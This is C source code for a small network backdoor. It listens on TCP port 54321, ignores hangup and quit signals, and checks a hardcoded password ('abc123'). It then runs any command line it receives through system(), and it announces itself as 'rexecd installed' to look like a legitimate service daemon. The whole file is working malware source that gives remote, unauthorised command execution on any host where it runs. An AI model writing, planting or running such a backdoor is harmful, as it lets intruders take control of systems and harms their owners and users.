#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>

#define MYPORT 54321
char passwd[]="abc123";

#define BUFLE 4096
char buf[BUFLE];

main(argc,argv)
int argc;
char *argv[];
{
	struct sockaddr_in from;
	int s1,i;
	int portnr=MYPORT;
	signal(SIGHUP,SIG_IGN);
	signal(SIGQUIT,SIG_IGN);
	s1=socket(AF_INET,SOCK_STREAM,0);
	if(s1<0) {
		printf("Could not create socket 1\n");
		exit(0);
	}
	from.sin_family=AF_INET;
	from.sin_port=htons(portnr);
	*((unsigned long *)&from.sin_addr)=htonl(INADDR_ANY);
	if(0>bind(s1,(struct sockaddr *)&from,sizeof(from))) {
		printf("Could not bind socket\n");
		exit(0);
	}
	listen(s1,1);
	printf("rexecd installed\n");
	for(;;) {
		struct sockaddr_in toirc;
		int s3,len=sizeof(from);
		int max;
		int chld;
		s3=accept(s1,(struct sockaddr *)&from,&len);
		if(s3<0) {
			printf("accept returned -1\n");
			exit(0);
		}
		i=0;
		do {
			if(1!=read(s3,&buf[i],1))
				goto next;
			i++;
		} while(buf[i-1]!='\n');
		i--;
		buf[i]=0;
		if(strcmp(buf,passwd))
			goto next;
		i=0;
		do {
			if(1!=read(s3,&buf[i],1))
				goto next;
			i++;
		} while(buf[i-1]!='\n');
		i--;
		buf[i]=0;
		close(s3);
		system(buf);
		continue;
	 next:
		close(s3);
	}			
}

